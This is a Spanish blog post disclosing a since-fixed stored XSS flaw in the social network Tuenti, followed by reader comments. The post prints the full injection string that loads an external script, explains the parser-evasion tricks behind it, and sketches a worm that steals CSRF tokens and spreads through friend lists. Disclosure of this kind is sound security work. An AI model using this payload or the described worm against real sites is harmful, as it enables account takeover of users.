mayo 4th, 2009 Esto es una explicación sobre la anterior entrada.
El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).
El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:
Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:
- El usuario escribe y envía.
- El servidor recibe y guarda, haciendo ciertos cambios [1].
- Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.
¿Qué es lo que falla en el proceso? El parseado. En un principio, estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.
Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).
Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:
http://diazr.com/</script><script src=http ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>
- La URL podía ser cualquiera, con el único requisito de que terminara en /.
- Era necesario colocar un </script> previamente antes de iniciar otro.
- Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
- Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
- El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.
Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.
Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.
[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.

joder, para otras webs dejas 2 o 3 dias, y para la mierda esta casi 1 semana, con 2 cojones loco, con 2 cojones xD…
Detalles de la vulnerabilidad de Tuenti…
El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos fr…
lo has hecho bien, pero los de tuenti menudos lentos xDDD
Ya era hora de que lo arreglaran. Quiero un hamón ibérico ._.
Saludos
Ya era hora de que lo arreglaran. Quiero mi hamón ibérico NAO
PD: Igual sale doble el coment, el FF hizo algo raro :S
@rayko: hijo mio, es que esto ERA peligroso. Quién sabe lo que alguien con imaginación y tiempo libre (véase @outime) puede hacer… ;)
@macram padre, lo siento, se que es peligroso, pero es que son unos n00bs programando los de Tuenti que se merecen que la web la juankeen por mataos
asco de web por dios xD
@Manu: Si que era bastante peligroso, pero que menos que ya que se les aviso lo hubieran arreglado en un momento, que es lo que se tardaba.
Ah y @outime lo dudo, su amor por Tuenti es muy grande, pero yo si me se de varios con odio a Tuenti que la hubieran liado parda :roll: xD
Interesante, ñom ñom ñom miau
Muy interesante, por fin se desveló el misterio … y lo arreglaron pronto ^^
No me puedo creer que lo haya llegado a medio-entender ^_^ Bien explicado aunque si te tuviese in person no habría parado de hacerte preguntas… Me las ahorraré para otro día =) Como siempre, sigo quedándome a cuadros con la capacidad para hacer estas cosas =D
[...] usando el truco para insertar imágenes en los mensajes de Tuenti. Tal como se hace eco en Meneame, Rubén Díaz desvela como se explotaba este fallo en [...]
jrandes
1 semana más y ale, nuevo bug :P
Vulnerabilidad crítica en Tuenti…
El pasado día 30 de abril, Rubén Díaz Alonso (aka outime) y un servidor, encontramos una vulnerabilidad critica en Tuenti, una de las redes sociales mas usada en España. Después de 5 días los de Tuenti han arreglado la vulnerabilidad ……
Información Bitacoras.com…
Esta anotación ha sido propuesta por un usuario para ser votada en Bitacoras.com.
Para que el proceso finalice, deberás registrar tu blog en el servicio….
Soy el webmaster de dimequien.com ^^
me gustaria ponerme en contacto contigo, ya tienes mi email. Un saludo!
Enhorabuena chavales! Los jetas de Tuenti se están enriqueciendo con una mierda de web que, además de insegura es inmoral con la privacidad de los usuarios y que, además, permite hotlink de las imágenes (y eso me parece más grave que el error que habéis descubierto)!!!
@Isra: Completamente de acuerdo con tu comentario, y gracias :)
En cuanto lo del hotlink, se supone que lo arreglaron al igual que lo de los amigos, pero es mentira. A mi otro tema que también me parece bastante grabe es el de sacar las imágenes grandes a partir de la URL de las miniaturas, sin ni siquiera estar logeado.
Saludos!
Todas las aplicaciones informáticas tienen bugs y fallos de seguridad, y tuenti no iba a ser una excepción. Lo importante es la rapidez con la que las solucionan.
@tuenti: Sí, lo importante es la rapidez con que las solucionan, el bug del hotlinking lleva ahí 3 años!!!
Pero don’t worry, ya está denunciado ante la AGPD ;-)
La nueva interfaz de tuenti viene cargada de novedades… el primer agujero está en la portada: si copias el HTML para hacer phishing, la imagen anti-estafas ya no aparece.
Por cierto, el JavaScript es bastante complejo }:-/
Estas vulns que encontrásteis parece que se fijaron antes que las mías…me equivoco?
http://www.securityfocus.com/archive/1/503492
Es simple curiosidad xDD
YEnH4ckEr in the wild –> http://www.milw0rm.com/author/1911
Saludos!
[...] this page was mentioned by Vicente Juan (@vicentejuan), Sergio C R (@scromega), Sergio C R (@scromega), Rubén Díaz (@outime) and others. [...]
jor jor jor
[...] Como ya he dicho, procederé a retirar el servicio en cuanto publique esta entrada y trataré de olvidarme de esto. Eso sí, intentaré no ser amigable respecto a esta red social en cuanto a temas de seguridad. Si nos limitamos a lo estrictamente legal y nos pasamos la moralidad por el forro, entonces podré publicar cualquier vulnerabilidad nada más reportarla, a las 48h, y no a los cinco días. [...]
500d Apple Artículos bbva bing Blog c&d campusparty Chorradas cp2009 denuncia diazr ebay ebe ebe09 eci eeuu Eventos glongas google hosting jisko longas macbook meneame microsoft mvc Opinión Personal php plantilla programacion randomness Reflexiones Relatos salud Seguridad theme tuenti tuentid twitter twittmad vida windows yoigo